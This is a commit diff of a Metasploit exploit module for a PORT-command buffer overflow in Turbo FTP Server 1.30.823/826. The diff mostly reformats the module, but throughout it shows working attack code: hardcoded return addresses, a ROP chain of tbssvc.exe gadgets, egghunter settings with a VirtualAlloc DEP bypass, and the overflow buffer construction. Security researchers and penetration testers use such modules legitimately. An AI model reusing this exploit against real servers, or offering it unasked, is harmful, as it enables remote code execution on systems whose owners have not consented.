1
- ##
2
- #
3
- ##
4
-
5
1
##
6
2
# This file is part of the Metasploit Framework and may be subject to
7
3
# redistribution and commercial restrictions. Please see the Metasploit
@@ -24,49 +20,45 @@ def initialize(info = {})
24
20
This module exploits the buffer overflow found in the PORT
25
21
command in Turbo FTP Server 1.30.823 & 1.30.826.
26
22
} ,
27
- 'Author' => [
28
- 'Zhao Liang' , #Initial Descovery
29
- 'Lincoln' , #Metasploit
30
- 'corelanc0d3r' , #Metasploit
31
- 'thelightcosine' , #Metasploit
32
- ] ,
23
+ 'Author' =>
24
+ [
25
+ 'Zhao Liang' , #Initial Descovery
26
+ 'Lincoln' , #Metasploit
27
+ 'corelanc0d3r' , #Metasploit
28
+ 'thelightcosine' #Metasploit
29
+ ] ,
33
30
'License' => MSF_LICENSE ,
34
- 'Version' => '$' ,
35
31
'Platform' => [ 'win' ] ,
36
32
'References' =>
37
33
[
38
- [ 'OSVDB' , '85887' ] ,
34
+ [ 'OSVDB' , '85887' ]
39
35
] ,
40
- 'Payload' =>
41
- {
42
- 'BadChars' => "\x00 " ,
43
- 'EncoderType' => Msf ::Encoder ::Type ::AlphanumMixed ,
44
- 'EncoderOptions' =>
45
- {
46
- 'BufferRegister' => 'EDI' ,
47
- }
48
-
36
+ 'Payload' =>
37
+ {
38
+ 'BadChars' => "\x00 " ,
39
+ 'EncoderType' => Msf ::Encoder ::Type ::AlphanumMixed ,
40
+ 'EncoderOptions' => { 'BufferRegister' => 'EDI' }
49
41
} ,
50
- 'Targets' =>
42
+ 'Targets' =>
51
43
[
52
44
[ 'Automatic' , { } ] ,
53
45
[ 'Windows Universal TurboFtp 1.30.823' ,
54
46
{
55
- 'Ret' => 0x00411985 , # RETN (ROP NOP) [tbssvc.exe]
56
- 'ver' => 823
47
+ 'Ret' => 0x00411985 , # RETN (ROP NOP) [tbssvc.exe]
48
+ 'ver' => 823
57
49
} ,
58
50
59
51
] ,
60
52
[ 'Windows Universal TurboFtp 1.30.826' ,
61
53
{
62
- 'Ret' => 0x004fb207 , # RETN (ROP NOP) [tbssvc.exe]
63
- 'ver' => 826
54
+ 'Ret' => 0x004fb207 , # RETN (ROP NOP) [tbssvc.exe]
55
+ 'ver' => 826
64
56
} ,
65
57
] ,
66
58
] ,
67
59
68
60
'DisclosureDate' => 'Oct 03 2012' ,
69
- 'DefaultTarget' => 1 ) )
61
+ 'DefaultTarget' => 0 ) )
70
62
end
71
63
72
64
def check
@@ -82,7 +74,6 @@ def check
82
74
83
75
84
76
def create_rop_chain ( ver )
85
-
86
77
# rop chain generated with mona.py - www.corelan.be
87
78
if ver == 823
88
79
rop_gadgets =
@@ -93,7 +84,7 @@ def create_rop_chain(ver)
93
84
0x00423b95 , # XCHG EDX,EDI # RETN [tbssvc.exe]
94
85
0x00423a27 , # XCHG ESI,EDI # RETN [tbssvc.exe]
95
86
0x005d1c99 , # POP EBP # RETN [tbssvc.exe]
96
- 0x004cad5d , # & jmp esp [tbssvc.exe]
87
+ 0x004cad5d , # & jmp esp [tbssvc.exe]
97
88
0x004ab16b , # POP EBX # RETN [tbssvc.exe]
98
89
0x00000001 , # 0x00000001-> ebx
99
90
0x005ef7f6 , # POP EDX # RETN [tbssvc.exe]
@@ -135,7 +126,6 @@ def create_rop_chain(ver)
135
126
end
136
127
137
128
def exploit
138
-
139
129
my_target = target
140
130
if my_target . name == 'Automatic'
141
131
print_status ( "Automatically detecting the target" )
@@ -162,11 +152,12 @@ def exploit
162
152
163
153
eggoptions =
164
154
{
165
- :checksum => true ,
166
- :eggtag => 'w00t' ,
167
- :depmethod => 'virtualalloc' ,
168
- :depreg => 'esi'
155
+ :checksum => true ,
156
+ :eggtag => 'w00t' ,
157
+ :depmethod => 'virtualalloc' ,
158
+ :depreg => 'esi'
169
159
}
160
+
170
161
badchars = "\x00 "
171
162
hunter , egg = generate_egghunter ( payload . encoded , badchars , eggoptions )
172
163
@@ -182,7 +173,7 @@ def exploit
182
173
183
174
buf1 = rand_text_alpha ( 2012 )
184
175
buf1 << egg
185
- buf1 << rand_text_alpha ( 100 )
176
+ buf1 << rand_text_alpha ( 100 )
186
177
187
178
buf2 = rand_text_alpha ( 4 ) . unpack ( 'C*' ) . join ( ',' )
188
179
buf2 << ","
0 commit comments